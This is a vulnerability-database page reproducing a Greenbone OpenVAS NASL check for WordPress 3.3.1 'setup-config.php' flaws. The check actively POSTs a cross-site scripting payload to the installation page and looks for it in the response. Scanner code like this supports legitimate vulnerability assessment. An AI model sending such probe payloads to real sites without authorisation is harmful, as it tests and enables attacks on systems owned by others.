Lucene search
+L

WordPress 'setup-config.php' Multiple Vulnerabilities

🗓️ 01 Feb 2012 00:00:00Reported by Copyright (C) 2012 Greenbone AGType 
openvas
 openvas
🔗 plugins.openvas.org👁 40 Views

WordPress 'setup-config.php' Multiple Vulnerabilities. Improper validation allows PHP code execution and cross-site scripting attack

Related
Refs
Code
ReporterTitlePublishedViews
Family
zdt
zdt
WordPress <= 3.3.1 Multiple Vulnerabilities
25 Jan 201200:00
zdt
circl
Circl
CVE-2011-4898
25 Jan 201200:00
circl
circl
Circl
CVE-2011-4899
25 Jan 201200:00
circl
circl
Circl
CVE-2012-0782
25 Jan 201200:00
circl
cve
CVE
CVE-2011-4898
30 Jan 201217:00
cve
cve
CVE
CVE-2011-4899
30 Jan 201217:00
cve
cve
CVE
CVE-2012-0782
30 Jan 201217:00
cve
cvelist
Cvelist
CVE-2011-4898
30 Jan 201217:00
cvelist
cvelist
Cvelist
CVE-2011-4899
30 Jan 201217:00
cvelist
cvelist
Cvelist
CVE-2012-0782
30 Jan 201217:00
cvelist
Rows per page
# SPDX-FileCopyrightText: 2012 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only

CPE = "cpe:/a:wordpress:wordpress";

if(description)
{
  script_oid("1.3.6.1.4.1.25623.1.0.802298");
  script_version("2023-10-27T05:05:28+0000");
  script_cve_id("CVE-2011-4898", "CVE-2011-4899", "CVE-2012-0782");
  script_tag(name:"cvss_base", value:"7.5");
  script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
  script_tag(name:"last_modification", value:"2023-10-27 05:05:28 +0000 (Fri, 27 Oct 2023)");
  script_tag(name:"creation_date", value:"2012-02-01 09:09:09 +0530 (Wed, 01 Feb 2012)");
  script_name("WordPress 'setup-config.php' Multiple Vulnerabilities");
  script_category(ACT_ATTACK);
  script_copyright("Copyright (C) 2012 Greenbone AG");
  script_family("Web application abuses");
  script_dependencies("gb_wordpress_http_detect.nasl");
  script_mandatory_keys("wordpress/http/detected");
  script_require_ports("Services/www", 80);

  script_xref(name:"URL", value:"http://www.exploit-db.com/exploits/18417");
  script_xref(name:"URL", value:"http://seclists.org/fulldisclosure/2012/Jan/416");
  script_xref(name:"URL", value:"https://www.trustwave.com/spiderlabs/advisories/TWSL2012-002.txt");
  script_xref(name:"URL", value:"http://wordpress.org/support/topic/wordpress-331-code-execution-cross-site-scripting");

  script_tag(name:"impact", value:"Successful exploitation will allow attacker to conduct PHP code
  execution and cross-site scripting attacks.");

  script_tag(name:"affected", value:"WordPress versions 3.3.1 and prior");

  script_tag(name:"insight", value:"Multiple flaws are due to improper validation of user-supplied input
  passed to the 'setup-config.php' installation page, which allows attackers to
  execute arbitrary HTML and PHP code in the context of an affected site.");

  script_tag(name:"solution", value:"No known solution was made available for at least one year
  since the disclosure of this vulnerability. Likely none will be provided anymore.
  General solution options are to upgrade to a newer release, disable respective
  features, remove the product or replace the product by another one.");

  script_tag(name:"summary", value:"WordPress is prone to multiple vulnerabilities.");

  script_tag(name:"qod_type", value:"remote_analysis");
  script_tag(name:"solution_type", value:"WillNotFix");

  exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("host_details.inc");

if(!port = get_app_port(cpe:CPE, service:"www"))
  exit(0);

if(!dir = get_app_location(cpe:CPE, port:port))
  exit(0);

if(dir == "/")
  dir = "";

url = dir + "/wp-admin/setup-config.php?step=2";
postData = "dbname=<script>alert(document.cookie)</script>&uname=root&pwd=&dbhost=localhost&prefix=wp_&submit=Submit";

useragent = http_get_user_agent();

# nb: http_host_name() should be always after the static string(s) above but always after any
# dynamically ones (e.g. a random string) which should be different for each hostname.
host = http_host_name(port:port);

req = string("POST ", url, " HTTP/1.1\r\n",
             "Host: ", host, "\r\n",
             "User-Agent: ", useragent, "\r\n",
             "Content-Type: application/x-www-form-urlencoded\r\n",
             "Content-Length: ", strlen(postData), "\r\n",
             "\r\n", postData, "\r\n");
res = http_keepalive_send_recv(port:port, data:req);

if(res =~ "^HTTP/1\.[01] 200" && '<script>alert(document.cookie)</script>' >< res){
  report = http_report_vuln_url(port:port, url:url);
  security_message(port:port, data:report);
  exit(0);
}

exit(99);

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation